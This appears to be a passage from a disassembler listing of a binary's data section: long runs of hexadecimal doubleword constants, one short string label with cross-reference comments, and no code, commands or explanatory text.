1257805Dh, 60C1CEDh, 781D7FCAh, 150024DCh dd 0AFD277E9h, 0A9719Fh, 0F5642BDDh, 5CACE892h, 53438200h dd 0D8A30569h, 0E5B105ABh, 80DA839Fh, 5170DC1Ah, 0EF004071h dd 5496E662h, 1B310E68h, 218E103Dh, 8890A08Fh, 0C33C6F52h dd 0CE398077h, 92C28AADh, 9D0F00FCh, 71BEDC1Dh, 15073347h dd 2401829Fh, 0C059F590h, 93350318h, 4925E6C4h, 64A670B7h dd 3400275Bh, 0DFABB23Ch, 0A1AE29h, 3EBEEDB4h, 134A2AAAh dd 2EF6C207h, 10E0DBC1h, 0A9C849h, 9C0B1C02h, 7179F3BEh dd 0E600FDFAh, 0E912AE83h, 0F6C4FCh, 0EEC735E2h, 3FDA1ED2h dd 81DF2A24h, 7F8D2100h, 0F512C3h, 4CA8C565h, 0EDADE66Eh dd 77018672h, 0A0261613h, 0D4C197F1h, 151570h, 3BA8F45Ah dd 49BAEFBDh, 0C33C2116h, 0F5D1F00h, 49CD4h, 0F82D2CEAh dd 86BC2FA8h, 4AF6BF12h, 0F09EA500h, 3F504Bh, 2AAB6F4Dh dd 7239CBE9h, 77D06600h, 0A480A7ACh, 0F616131Bh, 62C80047h dd 157984B0h, 0E40C4A00h, 0CCCB5D7Fh, 0F4CCE5E7h, 563008Dh dd 0C69A7895h, 1702A8F6h, 0FF858679h, 0C4776088h, 542A3889h dd 3F27DB2Eh, 4B232Ch, 73F3976h, 9200207Ch, 224E4B1Ch dd 148CD2h, 0A3027BD5h, 1D3F2ADEh, 0F0A09600h, 0C48D0B4Dh dd 9C90006Fh, 47BFDFB8h, 3E796957h, 42306E00h, 5270D234h dd 4882F418h, 6F0B3417h, 36807E63h, 25E2523h, 0E2A70A0Bh dd 15038431h, 0AB779A80h, 1E6A7B08h, 9CD402B3h, 0C6CF00DAh dd 83CB179Dh, 0AC80BE3Bh, 48092EEDh, 0DD9F00DBh, 610349h dd 81B1C06Eh, 2BF2CE8Ah, 0D721A200h, 0D1346245h, 126B032Ah dd 70495D8h, 8B814C8h, 0BBCED003h, 0C02CA6B2h, 1DD587h dd 66646EF4h, 0C5559EE2h, 74BA4400h, 0A19DBBD1h, 1DBD0042h dd 7DE24E04h, 1E0022E7h, 0B5031413h, 0A023FEBFh, 0BA76CDh dd 0DAD5E08Ch, 7BBE5E02h, 4CB82E07h, 60F18003h, 0BC409A11h dd 0B16359h, 2BD1C53Ah, 0B0D43233h, 9891EC0Ch, 6E039406h dd 56E020FDh, 0DD978BD6h, 0D90DA11Eh, 0F780DADEh, 8C2E469Fh dd 0D79800C3h, 30641BAFh, 8EE81669h, 73000878h, 0D029030Ah dd 4C721h, 708A8B53h, 0DE8CDF4Eh, 5062BC24h, 0B4AED000h dd 26E285h, 0D3A1BBBEh, 9480B70Eh, 0A4F19E39h, 5600992Ch dd 386C47EBh, 8FE1Ah, 142DFD62h, 3094AED7h, 48C99F00h dd 2C372BAFh, 473F395Dh, 0C0C0759Fh, 4CEA3C0Bh, 0D200F7FBh dd 0F516BC17h, 0E967D3h dd 4266541Fh, 0D9026AC8h, 9D233100h, 0E5FA7B10h, 45F958C6h dd 5A8C8B00h, 7F3889D2h, 9F2683EAh, 6C005888h, 396F065Fh dd 4C3AE28Ch, 0D1006037h, 630D5BA7h, 0AB04649Eh, 25E93253h dd 5AB53581h, 2E101180h, 6D52C20Dh, 7429FA00h, 0F55FB24Fh dd 0CD7A006Bh, 0D56E35CAh, 0A500EF52h, 0ACB6649Dh, 75D9C08h dd 0B2AF468Eh, 160980A2h, 367D18A4h, 0ED8020Eh, 0F8DB6011h dd 486C9Eh, 12DE3BF7h, 4A710395h, 24B0C000h, 26C8CDC1h dd 50330043h, 83F67857h, 3509C638h, 8066978Fh, 3D60BA90h dd 21550046h, 0E6088265h, 0B91C7307h, 8A40453Bh, 3EFA3160h dd 0CD3D0023h, 0F44DA64Bh, 0F090678Ch, 0E4EAFB00h, 543750A4h dd 3B7793h, 5624A9D0h, 5FA79151h, 3A132800h, 99B80E4Eh dd 63BE07BCh, 7E1701Ch, 0B77700A3h, 810457CCh, 96B26526h dd 3DBBFF01h, 0E7000FE0h, 77CFA33Bh, 8001BA3Ah, 29AD0DEFh dd 69308B1Dh, 7E1F09F5h, 16008D10h, 0DC08A98Eh, 3AE6E500h dd 66619625h, 90A4EE06h, 70DE00C8h, 0BC888733h, 7701CCC8h dd 2FB15F93h, 17608A60h, 37D40204h, 9606EF50h, 69D9B480h dd 0F376D6BEh, 77C4A400h, 0C14AD81h, 1B7C012Fh, 44820D11h dd 98BD414Fh, 0A67020ECh, 85205D00h, 0F90B935Ch, 9F0008Eh dd 0B43BD01Dh, 431DDE38h, 44E42A05h, 10A31700h, 18A083h dd 62AC2D1Bh, 0B5BDF7CCh, 0D6FF5500h, 0EC9CDFF9h, 4DC00017h dd 33A86E9h, 45300ECFh, 0F9D211F4h, 0BD31C67h, 336D2B5h dd 0D82C7E44h, 0B2C4F5A8h, 3CC548h, 0CA2347Dh, 3D70ED4h dd 72B1F1BAh, 5BC89944h, 0B3026AB0h, 238EC36Bh, 43B081E6h dd 4206E47h, 0EFE30EEh, 3FFB0F49h, 44418603h, 901E4B45h dd 129C818Bh, 134D4396h, 8BA71DFEh, 4808FDFh, 7C469BEFh dd 8871980Fh, 0C2E76069h, 0A6C5EAh, 1AD80C3Bh, 0D6488146h dd 33238D03h, 0B09EF355h, 6E200Fh, 0AA8E96DCh, 0C2F0FAFEh dd 9F298F00h, 2D923722h, 0A7562868h, 0A24F00A8h, 9A5B5D48h dd 6DB8A6F2h, 80C20400h, 0EA3871EDh, 165700C1h, 60EC0A2h dd 0F8006824h, 2CBD26FFh, 0FB76E4h, 0DF3364ADh, 32851905h dd 4F73E100h, 0BEFD046h, 0F5F042h, 20228AE9h, 69FD331Ah dd 7EAFF800h, 0AE50674Bh, 5A600FEh, 8E687F92h, 5D007691h dd 69B98B6Bh, 416C8A0h, 0DFA6470h, 176D80FCh, 1800ED35h dd 1E05315h, 0F34A1Bh, 5CBC4C90h, 0A706E92Fh, 1600927Bh dd 0E1BF40C3h, 3D3FA6Fh, 0DCEE773Bh, 0D6F079D1h, 89006B55h dd 0CB193424h, 1CE348h, 26C321F1h, 17D851F2h, 0F4004690h dd 97F84176h, 0FCEC71h, 0B42DCB88h, 45B4FFFh, 5F73800h dd 0F4B1AF0h, 0F96E0027h, 331C930Dh, 2500ACC9h, 1A2CB03Bh dd 3A6607E2h, 785F29h, 0CF163778h, 317A9B9h, 0C603F5E4h dd 0BE70B73Ah, 0CB0EA835h, 55AC173Eh, 28E20242h, 860EFBAh dd 0CC253007h, 5D2C3088h, 66E400C2h, 5E64572Fh, 5009F6Eh dd 7E213FE9h, 493BDE7h, 0C5121BACh, 8A5090E1h, 6A121A5Ah dd 2E0F2997h, 8249200Eh, 0E63637h, 0A30515Ch, 0ACF91B58h dd 6CF65300h, 0C1D09173h, 176B033h, 0CE14FDFh, 0EB56923Bh dd 37B76D98h, 0D4CBC50Fh, 0A34E82E8h, 0BA1460E7h, 0E5551370h dd 640000DAh, 29A0B2Eh, 0E2211760h, 145AB288h, 0B0A48EA5h dd 7F93AC4Fh, 4B19A903h, 0ED4355C7h, 8CE3B040h, 0F58776h dd 238BBCEEh, 485BD8EBh, 0F06F150Eh, 0C2F1E0C7h, 0B764FD7h dd 5D07350Dh, 858BE100h, 980040FCh, 0D2BAC486h, 7A821F0Ch dd 17B0A072h, 102783Dh, 0D6188DDCh, 0C4AB90C5h, 20007DCAh dd 0F93AD36Bh, 38271992h, 1800228Bh, 853EEFE7h, 380058EEh dd 98E6E8C9h, 0EB9A8h, 84A246FFh, 1E9EF9ACh, 4B767E90h dd 25EA680Fh, 2045AFC7h, 0C83D3362h, 0ABF7FD88h, 405FEA2Bh dd 0ED2EA4h, 3CC267F7h, 78732D9Bh, 7B4D8E00h, 0A4921EBAh dd 6D3D01AAh, 365F96D4h, 0FC54D847h, 80BF2C39h, 0AF89F10Fh dd 0E8208BBh, 61331486h, 0C0167C64h, 1C4E4CD8h, 0EBBEC500h dd 52D3063Ah, 0D9E00091h, 6FA027D6h, 0C1EF343h, 10709A16h dd 9EEEA4h, 57830EB5h, 19D46C15h, 0B021ECB8h, 0C9EC800Bh dd 0C780D1BDh, 0E01258h, 3773FB4Fh, 939EBFh, 1FC036F1h dd 5FA849D1h, 66CE8600h, 0F5D8D9EBh, 65BC01F4h, 19A65B8Ah dd 32E18052h, 8BD0A87Bh, 98610099h, 856206B2h, 0A93C90B3h dd 0CD5101FEh, 0AACE49D9h, 2C70C0FBh, 0A01800ACh, 226427B0h dd 5203A65Dh, 7CD9B7FBh, 0DE30E8C7h, 0AB1F03DDh, 0E7847706h dd 2187B8B8h, 80A2E238h, 0AE81EC89h, 31BCD3h, 0A172B768h dd 0FBC846D4h, 0FDB28700h, 44ECEC5h, 70A0623Fh, 31E042B7h dd 0BB007492h, 0FD1608ADh, 6B77D6h, 78375D5h, 0B3234376h dd 0ED052200h, 0E7FFF252h, 0A6CC0071h, 0B2832962h, 200F98Ch dd 257D44C1h, 0EE1B52h, 0DEB44D7Ah, 95F16B76h, 4C34BB00h dd 4F32D86h, 18C87915h, 11D578A0h, 90B04AA7h, 902D6D00h dd 751D61CDh, 68090032h, 2C484FA8h, 0F30744D0h, 59024BCFh dd 2D761D30h, 3D290741h, 0F063F95Fh, 36690A6Bh, 28A0A205h dd 0D907E239h, 3E1F469Fh, 0C98A79C0h, 2F11434h, 0F339DC8h dd 1540E38Fh, 8C000891h, 50AF25Ch, 5D927Fh, 9968A6FBh dd 41A3FDF5h, 5352B507h, 0C730EC13h, 2832E7h, 0F297795Eh dd 520AF11h, 807307Ch, 0D719848Fh, 90614333h, 71F2D5h dd 0F1C5866Eh, 0F79197E3h, 0E849DB00h, 823B8E5Fh, 0CAB21F1Bh dd 0B7D0C07Ah, 0E98B1807h, 80518838h, 981DA5DBh, 3C7BC630h dd 0C79AC58h, 0F326A4FEh, 50009548h, 0A2A79888h, 54A1F2h dd 0D9DD46Bh, 0A5E3EB44h, 920043F8h, 2314BA8Ah, 7947F85Bh dd 26A3003Ah, 77520339h, 0CC01D8FCh, 0E6B62B90h, 43ECD0EDh dd 0D9C21F6Ah, 2F314061h, 40E3F80Dh, 79B04A12h, 803B9300h dd 3A27A5Bh, 34B8B552h, 73A024EFh, 0EE02192Ch, 0F9B9E6BDh dd 32274155h, 1F134C8h, 14A67147h, 303A6CE0h, 80000AEDh dd 82F4940Ch, 70744E1h, 0B8083D90h, 61569226h, 331DD487h dd 0D990E18Eh, 5D003BE6h, 0EA18010Ch, 0E00F4AECh, 39A72F8h dd 3D97DAB3h, 7A88C1D5h, 0D0003AA0h, 76A97301h, 1F5382F0h dd 402CAAB1h, 629BD9E2h, 4C00C91Dh, 6CC7642h, 275EE18h dd 16F82D2Bh, 0B0A0F94Eh, 3C1FD01h, 0BF86F400h, 0C6561AC2h dd 1C650180h, 2E40CA4Ah, 0F2AC8D9h, 0BC23AC00h, 99ADAAE0h dd 12F53A56h, 0AF8400F8h, 0CC7F5B4Dh, 2C00EA95h, 0DC2153B1h dd 1D9EC90Bh, 802D5CC3h, 0A3B243Ah, 0B7006AF9h, 0FAA54A21h dd 0DC8BC8h, 660D386Ch, 0E6E21058h, 2FE14E00h, 5670525Eh dd 0E3CF009Bh, 0F4FCC9B1h, 7C009FDEh, 0F54708D4h, 0BFB669h dd 0ED2A8F1Fh, 640DBA9h, 9737A000h, 8B60E608h, 22440F6Dh dd 0F5A016E2h, 0E03E5347h, 0B23F7100h, 67C5DF84h, 8D18008Fh dd 2AC70696h, 0D0C049BCh, 0CF277A58h, 66420053h, 0D2E03DFDh dd 0C0FE80Eh, 804425AAh, 3C79BAC1h, 0A1C7006Ah, 0A0F941D0h dd 7A0A3948h, 0D2469943h, 0C083E00Eh, 6A18D45Eh, 84FA1C04h dd 3313A3h, 4022B4B3h, 0F1E4E5E4h, 5D138890h, 0B01C980Dh dd 2381CF00h, 1DFF68DCh, 782CCFDh, 0AE72F378h, 7D9B8300h dd 0C202CD1Ah, 0A52DE312h, 0ED346049h, 5F5100EFh, 5D5643F1h dd 0C57F3CC8h, 2F078800h, 647D4E7h, 0BBEE1F4Ah, 993A0004h dd 3F878442h, 494C0900h dd 73BAAE6Dh, 854D1C2Dh, 0F46A81DEh, 0FD941E07h, 0EC4CC984h dd 7A7B2D51h, 28341100h, 6E36D09Eh, 4777C64h, 0C6E65E2Ch dd 0EF5CC395h, 31FD8788h, 4975603h, 0B8CEF860h, 949DBEh dd 263550A2h, 0FC527D08h, 4A9DB00h, 0BE8E1F78h, 94AF00B2h dd 0F83E864h, 7000CDA4h, 49CB6D9Eh, 4C506CC6h, 0D2008DE9h dd 93EF9D33h, 71005CE4h, 96BCD6D0h, 14ADFFh, 5F17B82Fh dd 0B41CF4B9h, 27F7D00h, 0BDC8AA3Dh, 63960085h, 358F09Eh dd 25765769h, 420C1800h, 3A43315Ah, 9A1200E7h, 461C9544h dd 2C0EC384h, 40B698B5h, 0A7702E39h, 0CC2100FAh, 6551BECEh dd 0AF0078C4h, 2DA19560h, 0ED71FFh, 0EC072344h, 92CDA877h dd 0A002EF0h, 0FAB0D26Ch, 74609B4Eh, 1973042Dh, 80554F6Bh dd 45CE2548h, 632C472Ch, 10F10Bh, 0C377B190h, 0EBB400E4h dd 3366E996h, 6E003B28h, 0EE8C6F1Ah, 997DA4h, 2C614AA3h dd 344C3887h, 36BECA00h, 7965CB5h, 3FC37686h, 921E2CDEh dd 4428C083h, 0D598DF68h, 0C71E761Fh, 0E83FFBC0h, 7A459Ah dd 1362D9CCh, 0D8226614h, 0E4917813h, 0FF5ED000h, 1C27EB56h dd 46131574h, 9863524Fh, 89F2DFF2h, 10651B30h, 0E65021E6h dd 39A27D9Ch, 6D003F7Ch, 0D9679E38h, 69601289h, 0FD7E7828h dd 0B67D00C2h, 0B8B70FDEh, 4490D74Dh, 98271B00h, 68CD9BF8h dd 0ED5C00BAh, 7076973Ah, 0F5306512h, 0ACEE36AEh, 0E5C8001Fh dd 193842C7h, 6058845h, 97AFF63Fh, 29738AC0h, 0DD020072h dd 0F38E0C86h, 22EA2566h, 33447400h, 5906FF4Bh, 23BE00CDh dd 0E1BB3E1Dh, 9F0097CCh, 0F13BF850h, 0F9D639h, 441B1851h dd 94BF1AC6h, 7BA29902h, 0E07FA79Ah, 907653F0h, 4F420040h dd 4505AD02h, 0EA00A45Bh, 0A34B70A5h, 0E97C79Ah, 0A8712E1Ch dd 1CA05EA9h, 0CB42F268h, 0FDBFC21Fh, 0B292B980h, 578ED8h dd 95C80B5Ch, 38FECED1h, 8402FA13h, 0DA3A2040h, 1EC406DEh dd 80B0F647h, 0C7A1B52Dh, 0A03A8509h, 20CE8FE7h, 74D4E0F2h dd 9ED5D1h, 7513A5CAh, 6FAF5D4Fh, 21ED0A00h, 0F0E01698h dd 0A77D0B04h, 68033CCCh, 0C8A5AB4Ah, 93005E04h, 0D959EA6Eh dd 0F685F0Ch, 0B3B0B6DBh, 26059FC0h, 0E0011D5Eh, 9A4DE1BDh dd 4EF8B98Dh, 0FCF0AAh, 0BD5BBD0h, 302BDA69h, 63786D00h dd 0B934B71Bh, 0FA2900ECh, 0E39F708Dh, 513E48EEh, 0DDA000E8h dd 0D11F116h, 9CBE1F0Ah, 4BB703BDh, 0AB64676h, 376CAD00h dd 54AA5E86h, 713CB87Eh, 2E9CBA03h, 16B153CDh, 0CC3A0011h dd 28945D34h, 83FC1301h, 0D22AAB43h, 0EDDCD9F9h, 2D753C9Ch dd 0FF97A380h, 3E8DEF6Fh, 0F4627A00h, 0EE0439E2h, 8F4A00A7h dd 0A15434ABh, 26009102h, 1C2436D8h, 29828AAh, 413CDAC3h dd 85FF8F70h, 0A844BAE1h, 434F24C4h, 9150E00h, 0A013BC7Dh dd 5BC8h, 0E6940669h, 30620123h, 0B5EA6BB7h, 781CD07Eh dd 585D7A0Fh, 1984B52h, 0E028260h, 0A3BEE8h, 5A128F88h dd 0FA7F4A57h, 87E7DF0Ch, 7BCE28A1h, 1450211h, 0A714677Ch dd 80487B62h, 0CA187894h, 9E805587h, 0B4083D6Fh, 40886881h dd 0DC8DFC50h, 37DB174h, 9F596B00h, 99338F46h, 7CE30F43h dd 0B8800E75h, 5B988670h, 8FB12500h, 8D04D989h, 1DB500D4h dd 20F8CB99h, 0EE032283h, 75CAA8C3h, 0A9579821h, 502D0058h dd 11EAF995h, 0BB019DACh, 9F86FFC1h, 0DCE088CAh, 0F43F0065h dd 942CD2D9h, 1600D64Ch, 0A8295D7h, 42919h, 89A57C48h dd 0B82A7EF5h, 0BA56D301h, 413B4E6Eh, 7D738ECh, 51A0BFF3h dd 363F70B9h, 0B4004A0Bh, 86B2527Bh, 3CF08A07h, 0AC8023D0h dd 7EFACE3Eh, 0FDA08BEBh, 0B83ABEA9h, 13740EA5h, 7A833D87h dd 80577B79h, 23E949h, 5AB1981h, 63D6DD34h, 16699500h dd 0C2C83291h, 0EEBE00DBh, 61120B9Dh, 8B72A69Fh, 0AC008FFCh dd 0FE092C8Eh, 0A3C236h, 502F1B60h, 0B505C828h, 5702B8E8h dd 3710B2E8h, 0FBD4E0F7h, 0DF92009Ah, 0AE7224CFh, 0E400BD60h dd 7E85EB4Fh, 7870B6Dh, 0A00325BFh, 0D577A3BBh, 0CCF44FE8h dd 0E9FF7400h, 0F80C165Dh, 7C103DEFh, 35074981h, 0FC7D42B4h dd 0C43E5D8Eh, 4D4A0032h, 0A1BDC58Dh, 45B7002Bh, 0ACE64C44h dd 0DC00A473h, 0C053214h, 0F63C625h, 0FD44AF53h, 83F93940h dd 3B006AB9h, 89DCF71h, 53D409h, 75A2E2A6h, 5FF9434Dh dd 10C4727Dh, 20885C40h, 0D06D00CBh, 0B3C477C6h, 0C00EE46Bh dd 0E0DD1F6Fh, 386517BDh, 2752396Ch, 0BC4FD580h, 0A53FBF6Dh dd 4D46F100h, 0A37B4A09h, 12404FFh, 80F5F730h, 3D8CE169h dd 0F2886E00h, 3560A37h, 3AA63C72h, 0B9D32A9Fh, 0B9459F87h dd 5DBD207Eh, 84009B25h, 549FEE3h, 3ECB1Eh, 0B777D68Ah dd 0AA64D8DCh, 0A9422B0Eh, 0C0AC5BA8h, 8D60A6h, 0D87E5D9Eh dd 0FF4820AEh, 0D0E7007h, 0E0834410h, 9578891h, 3D450197h dd 82FA763h, 0C8B8D73Bh, 0A50EC47Ah, 60046653h, 8E18E80Ah dd 57A1002Dh, 7ECD2F46h, 0AD0058CAh, 5D772744h, 1034BFh dd 47A1FB04h, 0C4958CB6h, 12392D00h, 3DF0705Bh, 0CD7C006Ch dd 2399E904h, 66003F27h, 17F9F4A5h, 1E294DB5h, 0F7EDC9h dd 0C0F8B17Ah, 0ABF4210Ah, 3F810100h, 609D22FCh, 467D0ED5h dd 52002EAEh, 0FA12EAD7h, 7013AB00h, 10979880h, 3E363051h dd 0D29F9B64h, 3BAC393Dh, 80CC3A6Eh, 0FFB7957Dh, 712A5DD5h dd 0ED0100E4h, 0CA33A56Bh, 0F8002CD8h, 48A267F5h, 0F13D5Ch dd 592BD38Ch, 0C0AB305Dh, 0C87AFF03h, 0E80EA3CFh, 0E41F2312h dd 487F0080h, 0EF347C61h, 0A400BCB7h, 0CD69F6A0h, 0EEDF4909h dd 0D5A10040h, 0B3D0DA8Ah, 3D009A88h, 0BA1A26A4h, 48FDFEh dd 64F9E21Eh, 78EBF713h, 0F2216000h, 6880751Ah, 387E4Ch dd 18DCAE3h, 73B1132Fh, 0A86B2228h, 0D6E4C419h, 4570B97Ch dd 0DB4800E9h, 794B216Eh, 804881E6h, 0B24F7A6Ch, 0E40243A8h dd 0A503BF82h, 643AEBE0h, 0F881A5Ch, 808C4C10h, 526EE42Dh dd 55960347h, 8720BDFDh, 0AF0716F0h, 1CCBC38h, 0F64B9D18h dd 98504AB5h, 984796C8h, 0E6FC50h, 0A20A3EBCh, 0CF458808h dd 9A10BE00h, 0B10F1A4Fh, 0B067E052h, 0BB15014Eh, 54CA58F4h dd 0A3309EC6h, 9D963284h, 37278AC0h, 0C4E0050h, 890EEF19h dd 0FE00FC48h, 0E5092576h, 3895D5A8h, 98801FBEh, 2CF7AC28h dd 3100C56Ah, 0DFC8492Ah, 0E90C68h, 0E67F6C4h, 7C1E9AB3h dd 0D6C01100h, 1F4866B6h, 0E625163Ah, 0A9CE015Ah, 0E8DB891Eh dd 0FC98104Eh, 9213ECEFh, 0B6F414F8h, 5C68DE00h, 328570CAh dd 499A0062h, 296ACD94h, 5A31D2FEh, 0E9809877h, 17CF0CC8h dd 2CDA4D1h, 0B55B9F79h, 4E000FFh, 89FD27h, 0FB16BC52h dd 0D961A77Eh, 0AF3520A0h, 0ACF05600h, 0D3E7EE1Ch, 71EC75h dd 0A87F4338h, 2ABB1D54h, 0A39C5B00h, 0FFB4594h, 487184CEh dd 6B7C43F6h, 5BEFF118h, 33B65219h, 4850E639h, 45B476A8h dd 41DF9A00h, 9672A371h, 4A900058h, 176F87D4h, 0FA0082FFh dd 0B8776514h, 0EA4644h, 0BB0398D9h, 600A1C7Eh, 0FEB21200h dd 4E33A720h, 137B3Fh, 0C0966124h, 1631EB8Eh, 0DF07E300h dd 0A259D05Dh, 1E860022h, 0F0DED3A0h, 0E00ADB3h, 5DC24DFFh dd 131A4F6h, 287FF1DDh, 0D0DE46D4h, 23016DA8h, 3F2CBB0Eh dd 80CA1DD2h, 0CE4387D0h, 0FA9307AFh, 51D6B8F8h, 0F8F46AE3h dd 73003A32h, 2C6935D5h, 50D724Dh, 1AE15CE0h, 0C58800A9h dd 0E41129ECh, 4B035471h dd 24AF8E8Ah, 60386151h, 40F2A67Dh aSgu db '≤┐НЙ',0 ; DATA XREF: ___:off_437A5Co ; ___:off_437A74o db 0ACh, 8Fh, 0FBh dd 9907B35Eh, 0CA6E301Ah, 0EF499221h, 5C81D000h, 5A60AB79h dd 4D060298h, 929F0B70h, 45C9F680h, 40008133h, 9E0D5809h dd 1E628914h, 8DD110h, 3993BA4Ah, 5E00E2F6h, 403DCDCBh dd 9082E3Ah, 87326757h, 0A4980820h, 9F01B515h, 809C3B1Ch dd 0A0C08478h, 0E9563D39h, 0F741C504h, 207EC7EFh, 94B8A970h dd 779AD00h, 0C0DDFC42h, 9316267Ah, 1B500BEh, 44945673h dd 0DA770200h, 0B25BD6E0h, 9A470062h, 0DE8ADC97h, 2600A19Ch dd 0D289E33Fh, 0CDB1F5h, 764AA205h, 0F1E47AE6h, 0F9BB1300h dd 0D9402D37h, 0ED765Fh, 2CBAC378h, 0F6685C75h, 0CA0B100h dd 2D351867h, 0EBFD0058h, 56859E87h, 0F900A815h, 0E388FF38h dd 0E4D9106h, 0FBE21F8Eh, 37EF8A41h, 0C1D4F835h, 0F7E10200h dd 0D3598D84h, 4730C05h, 4220277Eh, 5E1EC118h, 38E091E8h dd 0A800A2A0h, 78B95085h, 2800F98Fh, 466D564Bh, 26939ED8h dd 69BD089h, 18028662h, 6F39BF2Ch, 31EA2300h, 1C529C11h dd 369A361h, 3EFD4EE7h, 7F15C2F7h, 2F81B9E0h, 774A3Eh dd 0BFB6368Dh, 3A9542B0h, 50603FF3h, 0EFC4021Eh, 0C7A0A501h dd 0C5AEBEDDh, 0C03388D0h, 0C90F1520h, 0F9009B47h, 0EBEF0D32h dd 3B67E451h, 7FE6F25h, 3F7CB809h, 3EECCEBCh, 0A067558h dd 55172CC2h, 0E45F28B8h, 7D8D00C1h, 159C7BFFh, 0C06E797Ch dd 6DFC021h, 8B2080h, 0CDF173ECh, 0D11874C2h, 0BF959003h dd 0E071A7EFh, 23893C9h, 5328F3A5h, 4C10FBEh, 1D55F040h dd 1EA8239h, 710946DCh, 84404FDAh, 58606A3h, 511A5878h dd 7C79C095h, 9B1CAFE8h, 0D8C0C6A1h, 0C5F24F9h, 8D7B1D0Fh dd 0D47649A2h, 0C0E16580h, 47041EBEh, 2543C782h, 9E0343C0h dd 55D900D6h, 63F06602h, 0A6002E70h, 4B33FDD1h, 31CEADh dd 24E8ED1Ah, 0D3DF2213h, 929F44Ch, 0E08FA9h, 0D530AE1Dh dd 0F7AD0069h, 1A4B63E4h, 673B84FDh, 0B7EE006Ah, 0A0BB10F5h dd 0C56B0435h, 80AEAB51h, 0D56D3C99h, 0D2850303h, 0C8803EB5h dd 23362h, 9447D11h, 5D15E32Fh, 0B1CD1200h, 27201E7Fh dd 699C001Dh, 8F34978Eh, 0E500B4DAh, 0B358B15Dh, 1F1BDB7h dd 2276CD1Eh, 0E0E3F208h, 5E7EC82Eh, 410BA5B8h, 9FD2DBh dd 0EE6FA09Eh, 2C5300DEh, 94A69851h, 460FD536h, 809149DFh dd 0BECD5C24h, 0ED270393h, 88C897DBh, 0E1441800h, 0CEB84611h dd 0E08B7079h, 9C9C0CBh, 0F844A0BDh, 9438B601h, 8F89391Ch dd 2F18C080h, 7092159Dh, 0EF107101h, 75196ECBh, 2426E830h dd 69802Bh, 37EE78AAh, 0C57D0AF5h, 7F6F140Ch, 37FBB21Ah dd 10A042E7h, 0CEC0D61Ch, 57E4B70Ch, 76DB80F1h, 0D01A0CA6h dd 0C1791978h, 0F3925000h, 1BC97CE1h, 0C75830B7h, 51EF4BB1h dd 178FDB00h, 0C84DFC5Ah, 456600A7h, 0C4BCC261h, 6F00BFFDh dd 35D6AF8Bh, 0FF3726Ah, 0A16765B2h, 0DA427380h, 0AA7075BAh dd 0FC86B3Eh, 58240F09h, 2661828h, 0DE61F16Dh, 0C407753Dh dd 40DF1FC8h, 78A13064h, 6A0095E4h, 4EFCD6E8h, 17C271B3h dd 38317Fh, 56085D3Ch, 9801CA12h, 0F7A4A397h, 0E706E82h dd 768F00A7h, 9F936C6Bh, 8A0169A1h, 0FA68E1E5h, 7EE5CC2Eh dd 746A0E0h, 7F202AD2h, 0EB297007h, 5D00B86Ch, 0B0BBD38Ch dd 0ECC4AD90h, 9CE90062h, 0D98A040Eh, 0A6FA85FFh, 189BB00h dd 0F5511830h, 0A176055Ah, 1A564F4h, 0A94F7195h, 5B8BD0F1h dd 814AEBA0h, 0AE28DD00h, 7FEE5505h, 5376DAh, 67170C15h dd 1B0297B7h, 0ADF8000h, 0A21E27D0h, 8B15000Eh, 81D99801h dd 1D000D23h, 53299BE1h, 0F521334h, 6A17C204h, 511CE680h dd 121D5B93h, 0CE8080F1h, 1A2995F7h, 0E6610146h, 72FB14E5h dd 64EADCB9h, 935B1209h, 9C9C00CDh, 3B7D4Ch, 59851676h dd 6AFE34Fh, 5374F0EDh, 0CC013Fh, 4917B615h, 989DA218h dd 4A5A3C89h, 0FCF2E860h, 9200B9AFh, 0C962D22Dh, 3BDAD5h dd 4F145BEDh, 0F4970AC4h, 8688E200h, 25510EB9h, 7A6D1E9Ch dd 0A003E81h, 0C8E78C4h, 0D200B1A1h, 975F508Ch, 903E868Ah dd 80AA3C5Dh, 68B30D00h, 0AE6CF151h, 0B0B52B00h, 0F2C9FEAh dd 70890032h, 1B20E335h, 0D800474Fh, 91135E87h, 7B0CB46h dd 85A59E8Fh, 0EB390055h, 0B100CFD6h, 0D23D267Dh, 768DE5h dd 7F40BDACh, 37EB7E54h, 0FE462E00h, 0EFAB8ACAh, 7692F630h dd 0ED3100D6h, 0C1F78E1Dh, 0AD1EE714h, 2C4008D2h, 0BAA2B7FEh dd 0AF600ABh, 7E2E1967h, 9101B0E7h, 0E0275B31h, 1DC3D6Dh dd 0C2BC0089h, 0DF9FB63Eh, 0E703ADDAh, 5B6BD35Eh, 6A1000DEh dd 69269E35h, 0EF04D42Bh, 1ACBF5ACh, 0A6AED9C0h, 1F057FB6h dd 8021B9B4h, 97843A4Bh, 71F8E9F9h, 0C5A63Dh, 0B4EEEB5h dd 8D886Ah, 7AC8038Fh, 49F38143h, 943A7201h, 24A261FFh dd 0B0F9F8h, 0C68E33BCh, 468FB756h, 0CF8AD703h, 0E155C270h dd 35E47495h, 0A879013Ah, 0FFD3B8C7h, 8F6BD41Eh, 5B7DCD00h dd 521C7BDDh, 7E970215h, 0B22B328Bh, 0C0B48C81h, 2F5C3089h dd 8331F11Eh, 580A6407h, 0C313ABC0h, 43380F59h, 6081C5CDh dd 0D47F6104h, 660094EEh, 89BCF5E0h, 19990h, 914FFDCFh dd 0AE66AD3h, 820334FAh, 774996F4h, 9F9BC008h, 90BB50EBh dd 0A6D60009h, 0C70CA35Dh, 0C3137E35h, 0CE0083D2h, 391A98A5h dd 570B0046h, 50FA09B6h, 9900E64Dh, 6FF8D448h, 0F5DBCDh dd 91FF551Dh, 3B1A497Ah, 0A643FE03h, 88B0DE7Fh, 0D5DD8Ah dd 0B894751Eh, 1D345BCAh, 840F8D77h, 60739CFFh, 5612E017h dd 0A8184D9Dh, 7716712h, 0B05708E1h, 0B990DF94h, 0AD5BE500h dd 5448B2F4h, 0B8EF0043h, 8C991231h, 9AB04923h, 0F14EC200h dd 2CAF337Ch, 0C1CF008Bh, 2A5B5379h, 0A600DD4Dh, 0B027EE7Ah dd 0F8A9CDBDh, 1B87CD1h, 74F1ACE4h, 0EC3F1CF7h, 46089FBh dd 32350E20h, 0C7060F8Ch, 44BEFA7Dh, 80BA0F9Ch, 8452B291h dd 0B40172E0h, 71F3732Ah, 3E307AC9h, 9D090164h, 0EF9AB10Eh dd 0C145C8D6h, 6B46860Eh, 0DD7C8090h, 0DB5E04h, 143F2DB5h dd 97A348D6h, 0C23B5600h, 0F1B15BDAh, 0B07000D5h, 22D0278Ch dd 9D00E3DEh, 0E0978A07h, 44A14Eh, 0EC91D3CAh, 9289BA4Ch dd 93A6072h, 0AA680E2h, 7F7CAC79h, 